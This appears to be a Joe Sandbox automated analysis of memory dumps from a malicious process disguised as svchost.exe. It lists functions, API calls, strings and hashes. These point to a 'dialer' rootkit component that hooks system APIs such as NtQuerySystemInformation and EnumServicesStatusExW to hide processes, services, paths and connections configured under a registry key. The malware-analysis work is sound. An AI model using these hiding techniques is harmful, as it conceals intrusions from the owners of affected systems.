Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 912d26b72c26ad93e34c569596d669a6ded88d197370947b8223babb3ee4b667
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 9511B235605B4495FA05CBE6A485ABAB3A1F789FCAF085028CE4F87765DF3BC446C380

Analysis Process: svchost.exePID: 1028, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	66
Total number of Limit Nodes:	2

Executed Functions

Function 000001F2BD16328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F2BD1632AE
PathFindFileNameW.SHLWAPI ref: 000001F2BD1632BD

Part of subcall function 000001F2BD163844: StrCmpNIW.SHLWAPI ref: 000001F2BD16385C

Part of subcall function 000001F2BD163790: GetModuleHandleW.KERNEL32 ref: 000001F2BD16379E
Part of subcall function 000001F2BD163790: GetCurrentProcess.KERNEL32 ref: 000001F2BD1637CC
Part of subcall function 000001F2BD163790: VirtualProtectEx.KERNEL32 ref: 000001F2BD1637EE
Part of subcall function 000001F2BD163790: GetCurrentProcess.KERNEL32 ref: 000001F2BD163809
Part of subcall function 000001F2BD163790: VirtualProtectEx.KERNEL32 ref: 000001F2BD16382A

CreateThread.KERNEL32 ref: 000001F2BD16330B

Part of subcall function 000001F2BD161D14: GetCurrentThread.KERNEL32 ref: 000001F2BD161D1F

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b8f2d5d8970c08e30104490078ba1f72add17956867f785404ba5962f5222235
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 02118078A30A4382FB609B61F8393F923E4B754B45FD88238ED06815B1EF79C044C203

Function 000001F2BD161ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F2BD161628: GetProcessHeap.KERNEL32 ref: 000001F2BD161633
Part of subcall function 000001F2BD161628: HeapAlloc.KERNEL32 ref: 000001F2BD161642
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD1616B2
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD1616DF
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD1616F9
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161719
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD161734
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161754
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD16176F
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD16178F
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD1617AA
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD1617CA

Sleep.KERNEL32 ref: 000001F2BD161AD7
SleepEx.KERNELBASE ref: 000001F2BD161ADD

Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD1617E5
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161805
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD161820
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161840
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD16185B
Part of subcall function 000001F2BD161628: RegOpenKeyExW.ADVAPI32 ref: 000001F2BD16187B
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD161896
Part of subcall function 000001F2BD161628: RegCloseKey.ADVAPI32 ref: 000001F2BD1618A0

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: dbf663d1485315679b68e8288550e8b7b0c6c51f1b1d89a94094fb3e67a57733
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 7731B97922464382EB509B26EA713F973B5AB85BC0F985835DE0A87695FF34C8D18312

Function 000001F2BD163844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001F2BD16385C

Strings

dialer, xrefs: 000001F2BD163855

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 3aac585823334c127dda7282b47a4669109186ccc3810c2214bda50ad0b13ecd
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 81D05EB43216078AFB549FE698E46F02354AB08744FCC4134CD0441160DB38898DE611

Function 000001F2BD13273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001F2BD13285E

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 5a31c6780180920593c79de93fd5a78e32e1db436847973b0c6c9579bd3f76a4
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: CB61EF32B216A297EF54AF1590207FDB3A2FB54BA4F98C131DE5907788DA38D852C701

Non-executed Functions

Function 000001F2BD162B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F2BD162BD0
lstrlenW.KERNEL32 ref: 000001F2BD162E0A

Part of subcall function 000001F2BD16199C: OpenProcess.KERNEL32 ref: 000001F2BD1619C2
Part of subcall function 000001F2BD16199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001F2BD1619E0
Part of subcall function 000001F2BD16199C: PathFindFileNameW.SHLWAPI ref: 000001F2BD1619EF
Part of subcall function 000001F2BD16199C: lstrlenW.KERNEL32 ref: 000001F2BD1619FB
Part of subcall function 000001F2BD16199C: StrCpyW.SHLWAPI ref: 000001F2BD161A0E
Part of subcall function 000001F2BD16199C: CloseHandle.KERNEL32 ref: 000001F2BD161A1C

GetProcAddress.KERNEL32 ref: 000001F2BD162BE5

Part of subcall function 000001F2BD16152C: StrCmpIW.SHLWAPI ref: 000001F2BD16155D

Part of subcall function 000001F2BD163844: StrCmpNIW.SHLWAPI ref: 000001F2BD16385C

StrCmpNIW.SHLWAPI ref: 000001F2BD162C28
lstrlenW.KERNEL32 ref: 000001F2BD162D50

Strings

\Device\Nsi, xrefs: 000001F2BD162C1B
ntdll.dll, xrefs: 000001F2BD162BC9
NtQueryObject, xrefs: 000001F2BD162BDB

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 107207480c6beedcfac9e10622a0404f813cce9df297bff4ecca76f0d2a71204
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 16B18D7A231A9386EB69CF25D4607F963A5FB44B94F845036EE4953B94EF35CC80C342

Function 000001F2BD167D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F2BD167DAC
RtlCaptureContext.NTDLL ref: 000001F2BD167DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F2BD167DF3
RtlVirtualUnwind.NTDLL ref: 000001F2BD167E34
IsDebuggerPresent.KERNEL32 ref: 000001F2BD167E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F2BD167EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F2BD167EB4

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 2191b91c7ae414d5341e28445c4bdcd7f9ae6a593b554c58698db7f92569058a
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: AB314F76215B828AEBA49F60E8607FD7364F784748F84443ADE4D57B98EF38C548C711

Function 000001F2BD16D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F2BD16D31D
RtlLookupFunctionEntry.NTDLL ref: 000001F2BD16D335
RtlVirtualUnwind.NTDLL ref: 000001F2BD16D370
IsDebuggerPresent.KERNEL32 ref: 000001F2BD16D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F2BD16D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F2BD16D3BE

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 11c88712f351a7a931375afe53fc2e688410f2853ddb01a36b0bea7dbce8e5b7
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 45317076224F8286EB60CF25E8503EE73A4F789754F900126EE9D43BA8DF38C545CB01

Function 000001F2BD161628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F2BD161633
HeapAlloc.KERNEL32 ref: 000001F2BD161642

Part of subcall function 000001F2BD161268: GetProcessHeap.KERNEL32 ref: 000001F2BD16126E
Part of subcall function 000001F2BD161268: HeapAlloc.KERNEL32 ref: 000001F2BD16127D
Part of subcall function 000001F2BD161268: GetProcessHeap.KERNEL32 ref: 000001F2BD161297
Part of subcall function 000001F2BD161268: HeapAlloc.KERNEL32 ref: 000001F2BD1612A8

RegOpenKeyExW.ADVAPI32 ref: 000001F2BD1616B2
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD1616DF
RegCloseKey.ADVAPI32 ref: 000001F2BD1616F9
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161719
RegCloseKey.ADVAPI32 ref: 000001F2BD161734
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161754
RegCloseKey.ADVAPI32 ref: 000001F2BD16176F
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD16178F
RegCloseKey.ADVAPI32 ref: 000001F2BD1617AA
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD1617CA
RegCloseKey.ADVAPI32 ref: 000001F2BD1617E5
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161805
RegCloseKey.ADVAPI32 ref: 000001F2BD161820
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD161840
RegCloseKey.ADVAPI32 ref: 000001F2BD16185B
RegOpenKeyExW.ADVAPI32 ref: 000001F2BD16187B
RegCloseKey.ADVAPI32 ref: 000001F2BD161896
RegCloseKey.ADVAPI32 ref: 000001F2BD1618A0

Part of subcall function 000001F2BD1612BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F2BD161319
Part of subcall function 000001F2BD1612BC: GetProcessHeap.KERNEL32 ref: 000001F2BD161327
Part of subcall function 000001F2BD1612BC: HeapAlloc.KERNEL32 ref: 000001F2BD161338
Part of subcall function 000001F2BD1612BC: RegEnumValueW.ADVAPI32 ref: 000001F2BD161397
Part of subcall function 000001F2BD1612BC: GetProcessHeap.KERNEL32 ref: 000001F2BD1613DF
Part of subcall function 000001F2BD1612BC: HeapAlloc.KERNEL32 ref: 000001F2BD1613ED
Part of subcall function 000001F2BD1612BC: GetProcessHeap.KERNEL32 ref: 000001F2BD16140A
Part of subcall function 000001F2BD1612BC: HeapFree.KERNEL32 ref: 000001F2BD161418
Part of subcall function 000001F2BD1612BC: lstrlenW.KERNEL32 ref: 000001F2BD161421
Part of subcall function 000001F2BD1612BC: GetProcessHeap.KERNEL32 ref: 000001F2BD16142F
Part of subcall function 000001F2BD1612BC: HeapAlloc.KERNEL32 ref: 000001F2BD16143D

Strings

startup, xrefs: 000001F2BD1616D5
pid, xrefs: 000001F2BD161712
paths, xrefs: 000001F2BD161788
udp, xrefs: 000001F2BD161874
tcp_remote, xrefs: 000001F2BD161839
SOFTWARE\dialerconfig, xrefs: 000001F2BD161692
process_names, xrefs: 000001F2BD16174D
service_names, xrefs: 000001F2BD1617C3
tcp_local, xrefs: 000001F2BD1617FE

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 8731ee6b71b6704e00f168d9ff655442c7f752d7d5cea34bee9c89a0774a01f8
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 94710A7A721A1386EB509F65E8A06E933B4FB89B88F801135DE4E57B69DF38C484C741

Function 000001F2BD1612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F2BD161319
GetProcessHeap.KERNEL32 ref: 000001F2BD161327
HeapAlloc.KERNEL32 ref: 000001F2BD161338
RegEnumValueW.ADVAPI32 ref: 000001F2BD161397

Part of subcall function 000001F2BD16152C: StrCmpIW.SHLWAPI ref: 000001F2BD16155D

GetProcessHeap.KERNEL32 ref: 000001F2BD1613DF
HeapAlloc.KERNEL32 ref: 000001F2BD1613ED
GetProcessHeap.KERNEL32 ref: 000001F2BD16140A
HeapFree.KERNEL32 ref: 000001F2BD161418
lstrlenW.KERNEL32 ref: 000001F2BD161421
GetProcessHeap.KERNEL32 ref: 000001F2BD16142F
HeapAlloc.KERNEL32 ref: 000001F2BD16143D
StrCpyW.SHLWAPI ref: 000001F2BD16145F
GetProcessHeap.KERNEL32 ref: 000001F2BD161476
HeapFree.KERNEL32 ref: 000001F2BD161484

Strings

d, xrefs: 000001F2BD16135A

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 630f6eb47bae6733bdbe7fb6a2d06b5e13df8154db8fa66121e5b802eb99e1ef
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: C6515BB6220B8686EB54CF62E4683EA77A1F789B99F844134DE4907B29DF3CC445C701

Function 000001F2BD161D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F2BD161D1F

Part of subcall function 000001F2BD161FD4: GetModuleHandleA.KERNEL32 ref: 000001F2BD161FEC
Part of subcall function 000001F2BD161FD4: GetProcAddress.KERNEL32 ref: 000001F2BD161FFD

Part of subcall function 000001F2BD165B30: GetCurrentThreadId.KERNEL32 ref: 000001F2BD165B6B

Strings

NtEnumerateValueKey, xrefs: 000001F2BD161DD6
NtDeviceIoControlFile, xrefs: 000001F2BD161E56
NtResumeThread, xrefs: 000001F2BD161D62
sechost.dll, xrefs: 000001F2BD161E39
NtQueryDirectoryFileEx, xrefs: 000001F2BD161D9C
NtEnumerateKey, xrefs: 000001F2BD161DB9
EnumServiceGroupW, xrefs: 000001F2BD161DF0
NtQuerySystemInformation, xrefs: 000001F2BD161D45
ntdll.dll, xrefs: 000001F2BD161D2D
advapi32.dll, xrefs: 000001F2BD161DF7, 000001F2BD161E18
NtQueryDirectoryFile, xrefs: 000001F2BD161D7F
EnumServicesStatusExW, xrefs: 000001F2BD161E11, 000001F2BD161E32

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 44394e3bb61418d90b21b3d16070fd92066106fc5670cf8bb63d378dec672435
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: F5318CB9635A4BA0EB05EBAAE8716F42321B705394FC05073EC1D135B6AF78828DC352

Function 000001F2BD136910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F2BD136938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F2BD13698A
_RTC_Initialize.LIBCMT ref: 000001F2BD1369B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F2BD1369DE
__scrt_release_startup_lock.LIBCMT ref: 000001F2BD136A09

Strings

`eh vector copy constructor iterator', xrefs: 000001F2BD136A3B
`dynamic initializer for ', xrefs: 000001F2BD1369C7
scriptor', xrefs: 000001F2BD136B39, 000001F2BD136BB2, 000001F2BD136BEC
`eh vector vbase copy constructor iterator', xrefs: 000001F2BD1369EE

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 599c936a81d88eece5d55a597c8a5af96c2558117b672f912d32454af0c454c8
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0C819D71734243ABFF50AB66A4713F927A4AB85BA0FD8C035DE4587797DB38C8458B02

Function 000001F2BD16CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F2BD16CE37
FlsGetValue.KERNEL32(?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CE4C
FlsSetValue.KERNEL32(?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CE6D
FlsSetValue.KERNEL32(?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CE9A
FlsSetValue.KERNEL32(?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CEAB
FlsSetValue.KERNEL32(?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CEBC
SetLastError.KERNEL32 ref: 000001F2BD16CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F2BD16ECCC,?,?,?,?,000001F2BD16BF9F,?,?,?,?,?,000001F2BD167AB0), ref: 000001F2BD16CF2C

Part of subcall function 000001F2BD16D6CC: HeapAlloc.KERNEL32 ref: 000001F2BD16D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CF54

Part of subcall function 000001F2BD16D744: HeapFree.KERNEL32 ref: 000001F2BD16D75A
Part of subcall function 000001F2BD16D744: GetLastError.KERNEL32 ref: 000001F2BD16D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F2BD170A6B,?,?,?,000001F2BD17045C,?,?,?,000001F2BD16C84F), ref: 000001F2BD16CF76

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: bb11f74b9e7025f2dfd1f8cbc300d4b36bb28f3c017f083f25e5b194b621ce3c
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B841C03C27228741FB68A77559753F92B936B947B0FE40B34ED3A066E6DE3894818303

Function 000001F2BD162244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F2BD162259
GetCurrentProcessId.KERNEL32 ref: 000001F2BD162263

Part of subcall function 000001F2BD161934: OpenProcess.KERNEL32 ref: 000001F2BD161952
Part of subcall function 000001F2BD161934: IsWow64Process.KERNEL32 ref: 000001F2BD161968
Part of subcall function 000001F2BD161934: CloseHandle.KERNEL32 ref: 000001F2BD161983

CreateFileW.KERNEL32 ref: 000001F2BD1622BC
WriteFile.KERNEL32 ref: 000001F2BD1622E4
ReadFile.KERNEL32 ref: 000001F2BD162303
CloseHandle.KERNEL32 ref: 000001F2BD16230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001F2BD16228C
\\.\pipe\dialerchildproc32, xrefs: 000001F2BD162293

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d2bab15cfae57464ccb8f4f35fe5790edbbd816ec51486296446b41efe05fb1a
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 7621507662474283FB50CB25F5683E977A0F789BA5F900225EE5903BA8CF3CC149CB01

Function 000001F2BD139944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F2BD1399A1

Part of subcall function 000001F2BD13A814: __GetUnwindTryBlock.LIBCMT ref: 000001F2BD13A857
Part of subcall function 000001F2BD13A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F2BD13A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F2BD139A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F2BD139CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F2BD139DDA

Strings

csm, xrefs: 000001F2BD1399BB
csm, xrefs: 000001F2BD139A9C
csm, xrefs: 000001F2BD139A22

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 19da1c5eb19cc9d7a388f49e01c564bcbbdd6786b972e6812bc9b0fc5734d8fb
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: ECE1E372624B839BEF60CF69E4913ED37A0F7457A8F808125EE8957B89CB34C190C702

Function 000001F2BD16A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F2BD16A5A1

